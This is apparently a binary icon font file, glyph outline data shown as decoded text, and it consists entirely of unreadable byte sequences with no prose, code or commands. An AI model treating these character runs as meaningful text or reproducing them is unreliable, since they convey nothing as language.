'"''? &4&c&^|h_bml/J@L@#*#M6:D
35sҟw$	'%
'	\t          3  #!"&=463!2'.54>54''@ 1O``O1CZZ71O``O1BZZ7@@N]SHH[3`)TtbN]SHH[3^)Tt           ! 1  &'   547 $ 4&#"2654632    '&476   ==嘅}(zVl''ٌ@uhyyhu9(}VzD##D#     	  = C U  %7.547 4&#"2654632% #"'&547.'&476 !27632#76$7&'7+NWb=嘧}(zVj\i1
z,XY[6
$!%'FuJiys?_9ɍ?kyhun(}VzYF
KA؉La
02-F"@Qsp@_        ! 3  %54&+";264'&+";26#!"&'&7>2 

 #%;" ";%# <F<7
??""??$$     ll 2  #"'&'	+&/&'&?632	&'&?67>`,@L5`		
`	L`4LH``	a	5L@              # 3 7 ; ? O s  !!!!%!!!!%!!!!!!!!%!!4&+";26!!%!!!!74&+";26%#!"&546;546;2!546;232 `@ `@ @@  @@@ @  @@L44LL4^B@B^^B@B^4L  @@@@      @@  @@   M 4LL4 4L`B^^B``B^^B`L        7 q  .+"&=46;2 #"&=".'673!54632#"&=!"+"&=46;2>767>3!54632<M33K,		 j8Z4L2B4:;M33K, ?			 0N<* .)C=W]xD0N<* .)C=W]xD ?\-7H)		".=']-7H)
w		<?.>mBZxPV3!<?.>mBZxPV3!
         &   #"'&'5&6&>7>7&54>$32 dFK1A
0)L.٫C58.H(Ye      # 3 C   $=463!22>=463!2#!"&5463!2#!"&5463!2 H&&/<R.*.R</&& &&&& &&&&Bɀ&&4L&&L4&&f&&&&&&&&     Z     %"'	"/&4762444ͥ55     Z   	"'&4?62	6244455        % K  %#!".<=#"&54762+!2"'&546;!"/&5463!232 @&@<@&@	:&	& 
&&
&	
`&          :  $"&462"&462!2#!"&54>7#"&463!2!2LhLLhLhLLh!&& &&& &4hLLhLLhLLhL %z<
0&4&&)17&4&&&           #!"&5463!2!2\@\\@\\@\\\\         W  *  #!"&547>3!2!"4&5463!2!2W+B"5P+B@"5^=\@\ \H#t3G#3G:_Ht\\     @      +32"'&46;#"&4762&& 4 && 4 4& &4  4& &4       @     "&=!"'&4762!5462  4& &4  4& &4 4 && 4 &&              !!!3!!                    0 @  67&#".'&'#"'#"'32>54'6#!"&5463!2 8ADAE=\W{O[/5dIkDtpČe1?*w@www	(M&B{Wta28r=Ku?RZ^GwT	-@www       $  2+37#546375&#"#3!"&5463ww/Dz?swww@wS88	ww           # ' . >   4&#"26546326"&462!5! &  !5!!=!!%#!"&5463!2B^8(Ԗ  > @|K5 5KK5 5K^B(8ԖԖ>v 5KK5 5KK   H  G   4&"&#"2654'32#".'#"'#"&54$327.54632@pp)*Pppp)*Pb	'"+`N*(a;2̓c`." b
PTY9ppP*)pppP*) b ".`(*Nͣ2ͣ`+"'	b
MRZB               4&"24&"264&"26#"/+"&/&'#"'&547>7&/.=46?67&'&547>3267676;27632#"&'"'#"'&547&'&=4767&547>32626?2#"&'"'#"'&547&'&=4767&547>32626?2ԖLhLKjKLhLKjK	"8w
s%(")v

>
	"8x
s"+")v
<
3zLLz33>8L3)x33zLLz33>8L3)x3ԖԖ 4LL45KK54LL45KK
#)0C	wZl/

Y	
N,&
#)0C	vZl.

YL0"qG^^Gqq$ ]G)FqqG^^Gqq$ ]G)Fq         % O   #"'#"&'&4>7>7.546$ '&'&'# '32$7>54'VZ|$2$
|E~E<|
$2$|ZV:(t}X(	&%(Hw쉉xH(%&	(XZT\MKG        < m  $4&"24&#!4654&#+32;254'>4'654&'>7+"&'&#!"&5463!6767>763232 &4&&4N2`@`%)7&,$)'  %/0Ӄy#5 +1	&<$]`{t5KK5$e:1&+'3TF0h4&&4&3M:;b^v+D2 5#$IIJ 2E=\$YJ!$MCeM-+(K55KK5y*%Au]c         > q   4&"24&'>54'654&'654&+"+322654&5!267+#"'.'&'&'!"&5463!27>;2 &4&&4+ 5#bW0/%  ')$,&7)%`@``2Nh0##T3'"(0;e$5KK5 tip<&	1&4&&4& #\=E2&%IURI$#5 2D+v^b;:M2gc]vDEA%!bSV2MK55K(,,MeCM$!I     @   #"&547&547%6@?V8b%	I)         9  4.""'."	67"'.54632>32+C`\hxeH>Hexh\`C+ED4
#L</>oP$$Po>Q|I.3MCCM3.I|Q/Z$_dC+I@$$@I+           ( @  %#!"&5463!2#!"3!: "&5!"&5463!462ww@B^^B 
4&@&&&4 ` ww ^B@B^24& && &        % 5  73#7.";2634&#"35#347>32#!"&5463!2FtIG9;HIxI<,tԩw@wwwz4DD43EEueB&#1s@www      .  4&"26#!+"'!"&5463"&463!2#2&S3Ll&c4LL44LL4c@&&{ LhLLhL           ' ?  #!"&5463!2#!"3!26546;2"/"/&47'&463!2www@B^^B@B^@&4t

r

& &`ww@w@^BB^^B@R &t

r

4&&         @   "&5!"&5463!462	#!"&54&>3!2654&#!*.54&>3!24&@&&&4 sw@B^^B
@w4& && &3@w ^BB^       I  &5!%5!>732#!"&=4632654&'&'.=463!5463!2!2J  JSq*5&=CKuuKC=&5*q͍S8( ^B@B^ (8`N`Ѣ΀GtO6)"M36J[E@@E[J63M")6OtG(8`B^^B`8   	        ' , 2    6'&'&76'6'&6&'&6'&4#"7&64   654'.'&'.63226767.547&7662>76#!"&5463!2		/[		.
=XĚ4,+"*+, 1JH'5G::#L5+@=&# w@wwwP.1GE,ԧ44+	;/5cFO:>JJ>:O9W5$@(b4@www      ' ?  $4&"2$4&"2#!"&5463!3!267!2#!#!"&5!"'&762 &4&&4&&4&&48(@(88(c= =c(8* & & *6&4&&4&&4&&4& (88(@(88HH88`(@&&('@       1 c  4&'.54654'&#"#"&#"32632327>7#"&#"#"&54654&54>76763232632


	N<;+gC8A`1a99gw|98aIe$IVNz<:LQJ
,-[%	061I()W,$-7,oIX()oζA;=N0
eTZ	 (       O  #".'&'& '&'.54767>3232>32e^\4?P	bMO0#382W#& 9C9
Lĉ"	82<*9FF(W283#0OMb	P?4\^eFF9*<28	"L
9C9 &#           !"3!2654&#!"&5463!2`B^^B@B^^ީwww@w ^BB^^B@B^ww@w      #  !72#"'	#"'.546763 YY!''!0#GG$/!''! &UUjZ	8""8 X!	8"	"8	        G W  4.'.#"#".'.'.54>54.'.#" 32676#!"&5463!2  1.-
+$)c8)1)

05.D<90)$9 w@wwwW

)1)7c)$+
-.1 9$)0<D.59@www  ,  T  1  # '327.'327.=.547&54632676TC_LҬ#+i!+*pDNBN,y[`m`%i]hbEm}au&,SXK
&$f9s?
    _    #"!#!#!54632V<%' ЭHH	(ں       T \ d k s z       &54654'>54'6'&&"."&'./"?'& 546'&6'&6'&6'&6'&74"727&6/a49[aA)O%-j'&]]5r-%O)@a[9'
0BA;+

>HCU


	#	
	
$				2	AC: oM=a-6OUwW[q	( -	q[WwUP6$C

+) (	
8&/&eMa	
&$	        %  +"&54&"32#!"&5463!54   &@&Ԗ`(88(@(88(r && jj8((88(@(8        # ' +  2#!"&5463"!54&#265!375!35!B^^BB^^B` ^B@B^^BB^ `       ! =   "&462+"&'& '.=476;+"&'& $'.=476;pppp$!$qr%}#ߺppp!E$rqܢ#%ֻ!           ) ?   "&462"&4624&#!"3!26!.#!"#!"&547>3!2/B//B//B//B@2^B@B^\77\aB//B//B//B/@~B^^B@2^5BB52     . 4  2## %&'.67#"&=463! 2 5KK5L4_u:B&1/&.-
zB^^B4LvyKjK4L[!^k'!A3;):2*<vTq6^BB^L4$)*    @     A  4#"&54"3! 4."#!"&5!"&5>547&5462;U gIv0ZZ0L4@Ԗ@4L2RX='8P8'=XR U;Ig0,3lb??bl34LjjL4*\(88(\    } I  /#"/'&/'&?'&'&?'&76?'&7676767676`
(5)0
)*)
0)5(

(5)0
))))
0)5(
*)
0)5(
)5)0
)**)
0)5)

)5)0
)*      5 h  $4&"24&#!4>54&#"+323254'>4'654&'!267+#"'&#!"&5463!2>767>32!2 &4&&4N2$YGB(HGEG  HQ#5K4Li!<;5KK5 
A#("/?&}vh4&&4&3M95S+C=,@QQ9@@IJ 2E=L5i>9eME;K55K	J7R>@#zD<      5 = q  %3#".'&'&'&'.#"!"3!32>$4&"2#!"#"&?&547&'#"&5463!&546323!2`  #A<(H(GY$2NL4K5#aWTƾh&4&&4K5;=!ihv}&?/"(#A
 5K2*!	Q@.'!&=C+S59M34L=E2 JI UR@@&4&&4&5K;ELf9>ig<Dz#@>R7J	K          5 h  4&"24#"."&#"4&#"".#"!54>7#!"&54.'&'.5463246326326 &4&&4IJ 2E=L43M95S+C=,@QQ9@@E;K55K	J7R>@#zD<gi>9eMZ4&&4&<#5K4LN2$YGB(HGEG  HV;5KK5 
A#("/?&}vhi!<         4 < p  4.=!32>332653272673264&"2/#"'#"&5#"&54>767>5463!2@@2*!	Q@.'!&=C+S59M34L.9E2 JI UR&4&&4&Lf6Aig6Jy#@>R7J	K55K;E@TƾH  #A<(H(GY$2NL4K#5#a=4&&4&D=ihv}&?/"(#A
 5KK5;         +  54&#!764/&"2?64/!26  $$  &
[6[[j6[& ^aa@&4[[6[[6&+^aa        +   4/&"!"3!277$ $$ [6[
&&[6j[^aae6[j[6&&4[j[^aa      +   4''&"2?;2652?$ $$ [6[[6&&4[^aaf6j[[6[
&&[^aa      +   4/&"4&+"'&"2?  $$ [6&&4[j[6[j^aad6[&&
[6[[j ^aa             $2>767676&67>?&'4&'.'.'."#&6'&6&'3.'.&'&'&&'&6'&>567>#7>7636''&'&&'.'"6&'6'..'/"&'&76.'7>767&.'"76.7"7"#76'&'.'2#22676767765'4.6326&'.'&'"'>7>&&'.54>'>7>67&'&#674&7767>&/45'.67>76'27".#6'>776'>7647>?6#76'6&'676'&67.'&'6.'.#&'.&6'&.5/a^D&"	


	4	$!	#	
		
	


 
.0"Y
	+!	
	
$		"+


		
	Α	
		^aa
	

					

		
			P '-(	#	*	$
"!				*
!	
(				
	
$
		
2   ~   /  $4&"2	#"/&547#"  32>32&4&&4V%54'j&&'/덹:,{	&4&&4&V%%l$65&b'Cr!"k[G             + ;  %!5!!5!!5!#!"&5463!2#!"&5463!2#!"&5463!2    &&&&&&&&&&&&@ && && && && && &&   {    #"'&5&763!2{' * *)* )'             /  !5!#!"&5!3!26=#!5!463!5463!2!2  ^B@B^&@&`   ^B`8(@(8`B^   B^^B&&B^(88(^      G  	76#!"'&?	#!"&5476	#"'&5463!2	'&763!2#"'c)'&@**@&('c(&*cc*&'*@&('c'(&*cc*&('c'(&@*        1 9 A S [  #"&532327#!"&54>322>32 "&462  &6 +&'654'32>32"&462QgRp|Kx;CByy 6Fe=
BPPB
=eF6  ԖV>!pRgQBC;xK|Ԗ{QNa*+%xx5eud_C(+5++5+(C_due2ԖԖ>NQ{u%+*jԖԖ     p ! C i  4/&#"#".'32?64/&#"327.546326 #"/&547'#"/&4?632632(* 8(!)(A(')* 8(!USxySSXXVzxTTUSxySSXXVzxT@( (8 *(('((8 SSUSx{VXXTTSSUSx{VXXT        #!" 5467&54 32632t,Ԟ;F`j)6,>jK?  s  !  %#!"&7#"&463!2+!'5#8EjjE8@&& &&@XYY&4&&4&qDS%q%         N \ j x     2"&4#"'#"'&7>76326?'&'#"'.'&676326326&'&#"32>'&#"3254?''74&&4&lNnbSVZbRSD	zz	DSRb)+USbn\.2Q\dJ'.2Q\dJ.Q2.'Jd\Q2.'Jd`!O` 	`&4&&4r$#@B10M5TNT{L5T	II	T5L;l'OT4M01B@#$*3;$*3;;3*$;3*$:$/ @@Qq`@         " % 3 <  2#!"&5!"&5467>3!263!	!!#!!46!#!(88(@(8(8(`((8D<++<8(` (8(`8(@(88( 8((`(8((<`(8 (``(8    || ?  %#"'&54632#"'&#"32654'&#"#"'&54632|udqܟs]
=
OfjL?R@T?"&
>
f?rRX=Edudsq
=
_MjiL?T@R?E& f
>
=XRr?b      ! 1 E  )!34&'.##!"&5#3463!24&+";26#!"&5463!2  

08((88(@(88((88((`(1

`(88( (88( @`(88(@(8(`         #!"&5463!2 w@www`@www             /  %#!"&=463!2#!"&=463!2#!"&=463!2 &&&&&&&&&&&&&&&&&&&&&&&&    @    ' 7 G  $"&462"&462#!"&=463!2 "&462#!"&=463!2#!"&=463!2ppppppp@ppp@@Рppppppppp         < L \ l |  #"'732654'>75"##5!!&54>54&#"'>3235#!"&=463!2!5346=#'73#!"&=463!2#!"&=463!2}mQjB919+i1$AjM_3</BB/.#U_:IdDRE@k*Gj@@TP\BX-@8
C)5XsJ@$3T4+,:;39SG2S.7<vcc))%Ll}         5 e  2#!"&=463%&'&5476!2/&'&#"!#"/&'&=4'&?5732767654'&@02uBo
T25XzrDCBBEh:%)0%HPIP{rQ9f#-+>;I@KM-/Q"@@@#-bZ$&P{<8[;:XICC>. '5oe80#.0(l0&%,"J&9%$<=DTI     c s  &/6323276727#"327676767654./&'&'737#"'&'&'&54'&54&#!"3!260%<4"VRt8<@<-#=XYhW8+0$"+dTLx-'I&JKkmuw<=V@!X@		v'|N;!/!$8:IObV;C#V
&(mL.A:9 !./KLwPM$@@  
       / ? O _ o     %54&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!2654&#!"3!26#!"&5463!2 @@ @ @ @ @ @ @@^BB^^B@B^NB^^B@B^^         # + 3  	'$"/&4762%/?/?/?/?%k*66bbbb|<<<bbbbbbbb%k66Ƒbbb<<<<^bbbbbb    @      M  $4&"2!#" 4&"2&#"&5!"&5#".54634&>?>;5463!2LhLLh		 LhLLhL!'ԖԖ@'!&	?& &LhLLhL 		hLLhL 	jjjj	&@6/"&&       J   #"'676732>54.#"7>76'&54632#"&7>54&#"&54$  ok;	-j=yhwi[+PM3ѩk=J%62>VcaaQ^ ]G"'9r~:`}Ch  0=Z٤W=#uY2BrUI1^Fk[|a      L  2#!67673254.#"67676'&54632#"&7>54&#"#"&5463ww+U	,i<F{jh}Z+OM
2ϧj<J%51=Ubwww@wzX"'8'TyI9`{Bf 
,>XբW<"uW1AqSH1bdww        ' 7  4'!3#"&46327&#"326%35#5##33#!"&5463!20U6cc\=hlࠥYmmnnnnw@wwww&46#Ȏ;edwnnnnn@www    	 ] # /  #"$&6$3 &#"32>7!5!%##5#5353Еttu{zz{SZC`cot*tq||.EXN#??           , <  !5##673#$".4>2"&5!#2!46#!"&5463!2 rM* *M~~M**M~~M*jjj& && &`P%挐|NN||NN|* jj jj@&&&&    @     "'&463!2 @4@&Z4@4&        @    #!"&4762 &&4Z4&&4@     @    "'&4762&4@4&@&4&      @    "&5462@@4&&44@&&@           3!!%!!26#!"&5463!2`m`^BB^^B@B^ `@B^^BB^^    @     "'&463!2#!"&4762 @4@&&&&44@4&Z4&&4@            "'&463!2 @4@&4@4&        @    #!"&4762 &&4Z4&&4@          :  #!"&5;2>76%6 +".'&$'.5463!2 ^B@B^,9j9Gv33vG9H9+bI\
A+=66=+A
[">nSMA_:B^^B1&c*/11/*{'VO3@/$$/@*?Nh^    l   +  !+"&5462!4&#"!/!#>32]_gTRdgdQV?UI*Gg?!2IbbIJaaiwE3300 08        4   #"$'&6?6332>4.#"#!"&54766$32 z䜬m
IwhQQhbF*@&('kz
	
_hQнQGB'(&*eoz  ( q  !#"'&547"'#"'&54>7632&4762.547>32#".'632%k'45%&+ ~((h		&

\((		&

~ +54'k%5%l%%l$65+ ~

&		((\

&		h((~ +%'         ! ) 1 9 K   4&"2 4&"26.676&$4&"2 4&"24&"2#!"'&46$ KjKKjKjKKje2.e<^P,bKjKKjKjKKjKjKKj##LlLKjKKjKjKKjK~-M<M(PM<rjKKjKjKKjKujKKjKL           <    6?32$6&#"'#"&'5&6&>7>7&54$ LhяW.{+9E=cQdFK1A
0)pJ2`[Q?l&٫C58.H(Y'        : d    6?32$64&$ #"'#"&'&4>7>7.546'&'&'# '32$7>54'Yj`a#",5NK
~EVZ|$2$
|:
$2$|ZV:(t}hfR88T
h̲X(	&%(Hw(%&	(XZT\MKG{x   | !  #"'.7#"'&7>3!2%632u
jH{(e9
1b      U  #!"&546;5!32#!"&546;5!32#!"&546;5463!5#"&5463!2+!232 8((88(` `(88((88(` `(88((88(`L4 `(88(@(88(` 4L`(8 (88(@(88((88(@(88((88(@(84L8(@(88((8L48      O Y  "&546226562#"'.#"#"'.'."#"'.'.#"#"&5476 $32&"5462И&4&NdN!>!1X:Dx++ww++xD:X1- U! *,*&4&hh&&2NN2D&
..J<
$$
<JJ<
$$
<J..
Pbb&&          7  !!"&5!54&#!"3!26!	#!"&=!"&5463!2 `(8 @ + 8(@(8(88(@(8(8( @@m+U`(88(8(@(88(h`         ( \  "&54&#"&46324."367>767#"&'"&547&547&547.'&54>2l42cKEooED
)

)
Dg-;</-?.P^P.?-/<;-gYY.2 L4H|O--O|HeO,,Oeq1Ls26%%4.2,44,2.4%%62sL1qcqAAq      4  #!#"'&547632!2#"&=!"&=463!54632 		@	`		`?`
@		@	!		
          5  4&+4&+"#"276#!" 5467&54 32632 	`		_
v,Ԝ;G_j)``			_ԟ7,>jL>       5  4'&";;265326#!" 5467&54 32632 			
v,Ԝ;G_j)	`		`7,>jL>        X `  $"&462#!"&54>72654&'547 7"2654'54622654'54&'46.'  &6 &4&&4&yy%:hD:FppG9Fj 8P8 LhL 8P8 E;
Dh:%>4&&4&}yyD~s[4Dd=PppP=d>hh>@jY*(88(*Y4LL4Y*(88(*YDw"
A4*[s~>       M   4&"27 $=.54632>32#"' 65#"&4632632 65.5462 &4&&4G9&
<#5KK5!!5KK5#<
&ܤ9Gpp&4&&4&@>buោؐ &$KjKnjjKjK$& jjb>Ppp        %  !5!#"&5463!!35463!2+32  @\\ 8(@(8 \@@\ \@\  (88(\   @    3  4#"&54"3#!"&5!"&5>547&5462;U gI@L4@Ԗ@4L2RX='8P8'=XR U;Ig04LjjL4*\(88(\    @    "   4&+32!#!"& +#!"&5463!2pP@@P j j@@\@\&0pj	 \\&       - B  +"&5.5462265462265462+"&5#"&5463!2G9L44L9G&4&&4&&4&&4&&4& L44L &=d4LL4d=&&`&&&&`&&&&4LL4  &         # 3 C S  #!"&5463!2!&'&!"&5!463!2#!"&52#!"&=4632#!"&=463(8((88((`x
c`(8  @@@`((88(@(8(D9 8( `@@@ @@        / ? O _ o         -=  %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!!5463!2#!"&5463!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @ & && &@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@  `&&&&        / ? O _ o        %+"&=46;25+"&=46;2+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2%+"&=46;2+"&=46;2%+"&=46;2+"&=46;2!!#!"&=!!5463!24&+"#54&+";26=3;26%#!"&5463!463!2!2@@@@ @@ @@ @@ @@ @@ @@ @@ @@  8(@(8 @@@@@ & &&@8((8@&@@@@@@@@@@@@@@@@@@@@ (88( @````- && & (88(&  @    < c  $4&"2!# 4&"254&+54&+"#";;26=326+"&5!"&5#"&46346?>;463!2KjKKj KjKKj &ԖԖ&&@&&KjKKjK 
jKKjK .&jjjj&4&@@&&      # ' 1 ? I  54&+54&+"#";;26=326!5!#"&5463!!35463!2+32    \\8(@(8 \  \ \@\  (88(\          :  #32+53##'53535'575#5#5733#5;2+3@E&&`@@`    `@@`&&E%@`@ @ @		      		@ 0
    @      !3!57#"&5'7!7! K5@   @ 5K@@@      # 3  %4&+"!4&+";265!;26#!"&5463!2 && &&&& && w@www&&@&&&&@&&@www        # 3  54&#!4&+"!"3!;265!26#!"&5463!2 &&&&&@&&@& w@www@&@&&&&&&@&:@www    - M3  )  $"'&4762	"'&4762	s
2

.



2

w
2

.



2

w
2





2

ww

2





2

ww     M3  )   "/&47	&4?62"/&47	&4?62S
.

2

w

2


.

2

w

2

M
.

2



2

.

.

2



2

.   M 3S  )  $"'	"/&4762"'	"/&47623
2

ww

2





2

ww

2




2

w

2



.v
2

w

2



.    M 3s  )   "'&4?62	62"'&4?62	623
.

.

2



2

.

.

2



2
.



2

w

2v
.



2

w

2   - Ms3    	"'&4762s
w

2

.



2
ww

2





2     MS3    "/&47	&4?62S
.

2

w

2

M
.

2



2

.    M3S    "'	"/&47623
2

ww

2



m
2

w

2



.    M-3s    "'&4?62	623
.

.

2



2-
.



2

w

2        /  4&#!"3!26#!#!"&54>5!"&5463!2 @^B  & &  B^^B@B^ @MB^%Q=&&<P&^B@B^^            + 3  "&5463!2#3!2654&#!"3#!"&=324+"3B^^B@B^^B@`^BB^p ^BB^^B@B^`@S`(88(``             '  $4&"2%4&#!"3!26#!"&5463!2&4&&4@^BB^^B@B^f4&&4&@B^^B@B^^            /  $4&"2%4&#!"3!264+";%#!"&5463!2/B//B   0L4 4LL4 4L_B//B/@M    4LL4 4LL            >& $$ (r^aa(^aa        ! C  #!"&54>;2+";2#!"&54>;2+";2 pPPpQh@&&@j8(PppPPpQh@&&@j8(Pp@PppPhQ&&j (8pPPppPhQ&&j (8p         ! C  +"&=46;26=4&+"&5463!2+"&=46;26=4&+"&5463!2 Qh@&&@j8(PppPPpQh@&&@j8(PppPPp@hQ&&j (8pPPppP@hQ&&j (8pPPpp     @@  	   # + 3 ; G  $#"&5462 "&462 "&462#"&462 "&462 "&462 "&462#"&54632K54LKj=KjKKjKjKKjL45KKjK<^^^KjKKjppp\]]\jKL45KjKKjKujKKjK4LKjKK^^^jKKjKpppr]]\            $$  ^aaQ^aa      ,  #"&5465654.+"'&47623  #>bqb&4  4&ɢ5"		#D7euU6 & 4 & m       1 X   ".4>2".4>24&#""'&#";2>#".'&547&5472632>3=T==T==T==T=v)GG+v@bRRb@=&\Nj!>3lkik3hPTDDTPTDDTPTDDTPTDD|xxXK--K|Mp<#	)>dA{RXtfOT# RNftWQ          ,  %4&#!"&=4&#!"3!26#!"&5463!2!2 8(@(88((88((8\@\\@\\(88(@(88(@(88@\\\\       u  ' E  4#!"3!2676%!54&#!"&=4&#!">#!"&5463!2!2325([5@(\& 8((88((8 ,9.+C\\@\ \6Z]#+#,k(88(@(88(;5E>:5E\\\ \1.           $ 4 @  "&'&676267> "&462"&462 .  > $$ n%%/02
KjKKjKKjKKjKfff^aayy/PccP/jKKjKKjKKjKffff@^aa        $ 4 @  &'."'.7>2 "&462"&462 .  > $$ n20/%7KjKKjKKjKKjKfff^aa3/PccP/y	jKKjKKjKKjKffff@^aa         + 7   #!"&463!2 "&462"&462 .  > $$ &&&&KjKKjKKjKKjKfff^aa4&&4&jKKjKKjKKjKffff@^aa       # + 3 C  54&+54&+"#";;26=3264&"2 4&"2$ #"'##"  3!2@@KjKKjKKjKKjKܒ,gjKKjKKjKKjKXԀ,,          # / ; G S _ k w       +"=4;27+"=4;2'+"=4;2#!"=43!2%+"=4;2'+"=4;2+"=4;2'+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;54;2!#!"&5463!2```` ````````````` `` `` p` K55KK55Kp````````````````````````` 5KK55KK     @   * V  #"'.#"63232+"&5.5462#"/.#"#"'&547>32327676R?d^7ac77,9xm#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	h[ 17q%q#::#5KKu't#!X:	%#+=&>7p   @    * 2 F r  56565'5&'.	#"32325#"'+"&5.5462#"/.#"#"'&547>32327676@ͳ82.,#,fk*1x-!#@#KjK#
ڗXF@Fp:f_ #WIpp&3z	e`vo8t-	:5	[*#::#5KKu't#!X:	%#+=&>7p    3  $  	"/&47	&4?62#!"&=463!2I.

2

w

2


-@).

2



2

.
-@@     -S  $ 9  %"'&4762		/.7>	"/&47	&4?62i2

.



2

w
E>u>.

2

w

2


2





2

ww
!h.

2



2

.
       ;  #"'&476#"'&7'.'#"'&476'  )'s"+5+@ա'  )'F* 4 *Er4M:}}8GO* 4 *     ~ 
 (  -/'	#"'%#"&7&67%632B;><V??V --C4
<B=cB5!%%!b 7I))9I7        	#"'.5!".67632y(
#
  ##@,(
)        8  !	!++"&=!"&5#"&=46;546;2!76232-SSS

		 SS``		

          K  $4&"24&"24&"27"&5467.546267>5.5462 8P88P88P88P8P88P4,CS,4pp4,,4pp4,6d7AL*',4ppP88P8P88P8HP88P8`4Y&+(>EY4PppP4Y4Y4PppP4Y%*<O4Y4Ppp        % @ \ h t   	"'&4762"&5462&#!"&463!2#"'&'7?654'7&#"&'&54?632#!"&463!2"&5462"'&4762 		 

	@USxySR#PT('#TUSxySN@ 		 

		 		

 		
3@xSSUO#'(V^'(PVvxSSUi @ 		

 		
   `     <  +"&=46;2+"&=467>54&#"#"/.7!2<'G,')7N;2]=A+#H0PRH6^;<T%-S#:/*@Z}

>h         .  %#!"&=46;#"&=463!232#!"&=463!2& &&@@&&&@&& && &&&&&&&&f&&&&   b      #!"&=463!2#!"&'&63!2 & && &' '%@% &&&& && &&    k % J  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%Sin1KXL7觧*		#&		*@jC?.>!&1'\%Awc8^;:+<!P        % I  %#/&'#!53#5!36?!#!'&54>54&#"'6763235
Ź}4NZN4;)3.i%PlnEcdJ觧*		#&		*-@jC?.>!&1'\%AwcBiC:D'P           %!	#!"&'&6763!2P &: &?&: &?5"K ,)""K ,)      h  #".#""#"&54>54&#"#"'./"'"5327654.54632326732>32YO)I-D%n "h.=T#)#lQTv%.%P_	%	%_P%.%vUPl#)#T=@/#,-91P+R[Ql#)#|''
59%D-I)OY[R+P19-,# #,-91P+R[YO)I-D%95%_P%.%v      ' 3   !2#!"&463!5& =462   =462 &546  &&&& &4&r&4& @&4&&4&G݀&&&&f    s   C K  &=462	#"'32 =462 !2#!"&463!5&'"/&4762%4632e*&4&i76`al&4& &&&& }n

R



R
zfOego&&5`3&&&4&&4&D

R



R
z v        "  !676"'.5463!2@@w^Cct~55~tcC&&@?J V|RIIR|V &&           # G  !!%4&+";26%4&+";26%#!"&546;546;2!546;232@@ @@L44LL4^B@B^^B@B^4L   N 4LL4 4L`B^^B``B^^B`L      L   4&"2%#"'%.5!#!"&54675#"#"'.7>7&5462!467%632 &4&&4@ o& &}c ;pG=(8Ai8^^.&4&&4&`	`fs&& jo/;J!#2
 KAE*,B^^B!`	   $   -   4&"2#"/&7#"/&767%676$!28P88PQr	@U	@
{`PTP88P8P`
	@U	@rQ           !6'&+!!!!2Ѥ8̙e;<*@8 !GGGQII            %764'	64/&"2  $$ f3f4:4^aaf4334f:4:^aa         %64'&"	2  $$ :4f3f4F^aa4f44f^aa         764'&"27	2  $$ f:4:f4334^aaf4:4f3^aa            %64/&"	&"2  $$ -f44f4^aa4f3f4:w^aa   @    7!!/#35%!'!%j/djg2|855dc b    @   !	!%!!7!FG)DH:&HdS)         U   4&"2#"/ $'#"'&5463!2#"&=46;5.546232+>7'&763!2&4&&4f]wq4qw]	`dC&&:FԖF:&&Cd`4&&4&	]]	`d[}&&"uFjjFu"&&y}[d       #  2#!"&546;4   +"&54&" (88(@(88( r&@&Ԗ 8((88(@(8@&&jj           ' 3   "&462 &         .  > $$  Ԗ>aX,fff^aaԖԖa>TX,,~ffff@^aa          /  +"&=46;2+"&=46;2+"&=46;28((88((8 8((88((8 8((88((8 (88((88((88((88((88((88           /  +"&=46;2+"&=46;2+"&=46;28((88((88((88((88((88((8 (88((88(88((88(88((88        5 E  $4&"2%& '&;26%&.$'&;276#!"&5463!2 KjKKjf	
\
w@wwwjKKjK"Gܚf


	@www             $64'&327/a^  !  ^aaJ@%%	  65   /  	64'&"2	"/64&"'&476227 <ij6j6u%k%~8p8}%%%k%}8p8~%<<ij4j4t%%~8p8~%k%%%}8p8}%k          54&#!"3!26#!"&5463!2 &&&& w@www@&&&&:@www        /  #!"&=463!24&#!"3!26#!"&5463!2@^BB^^B@B^www@w@@2@B^^BB^^ww@w        +#!"'&?63!#"'&762(@	@(@>@%%%         !232"'&76;!"/&76 ($>(		 J &%       $  %64/&"'&"2#!"&5463!2ff4-4ff4fw@wwwf4f-f4@www         /  #5#5'&76	764/&"%#!"&5463!248`# \P\w@www4`8#@  `\P\`@www        )  4&#!"273276#!"&5463!2 & *f4' w@www`&')4f*@www     % 5  	64'&"3276'7>332#!"&5463!2`'(wa8!
,j.(&w@www`4`*'?_`ze<	bw4/*@www           - .  6  $$     (r^aaO (_^aa       -  "'&763!24&#!"3!26#!"&5463!2yB((@ w@www]#@## @@www       -  #!"'&7624&#!"3!26#!"&5463!2y((@B@u@ w@www###@@@www       -   '&54764&#!"3!26#!"&5463!2@@####@ w@wwwB((@@www      `  %#" '#"&=46;&7#"&=46;6 32/.#"!2#!!2#!32>?6#!"'?_BCbCaf\	+~2	

	}0$q90r pr%Dpu       ?  #!"&=46;#"&=46;54632'.#"!2#!!546;2Da__	g	
*`-Uh1߫}
	$^L    4   b  +"&=.'&?676032654.'.5467546;2'.#"ǟB{PDg	q%%Q{%P46'-N/B).ĝ9kC<Q7>W*_x*%K./58`7E%_	,-3
cVO2")#,)9;J)"!*
#VD,'#/&>AX      >  ++"' '&=46;267!"&=463!&+"&=463!2+32Ԫ$
		pU9ӑ@/*fo	VRfqf=S     E  !#"&5!"&=463!5!"&=46;&76;2>76;232#!!2#![ 

%
)
	"JgUhBW&WXhUg        8   4&#!!2 #!!2#!+"&=#"&=46;5#"&=46;463!2j@jog|@~vvu            n  #467!!3'##467!++"'#+"&'#"&=46;'#"&=46;&76;2!6;2!6;232+32QKt# #FNQo!"դѧ!mY

Zga~bm]

[o"U+, @h
h@@Xhh@   8  3 H \  #5"'#"&+73273&#&+5275363534."#22>4.#2>ut3NtRP*Ho2
Lo@!R(Ozh=,G<X2O:&D1A.1G$<2I+A;"B,;&$LGlF/ 3D;a$8$".!3!
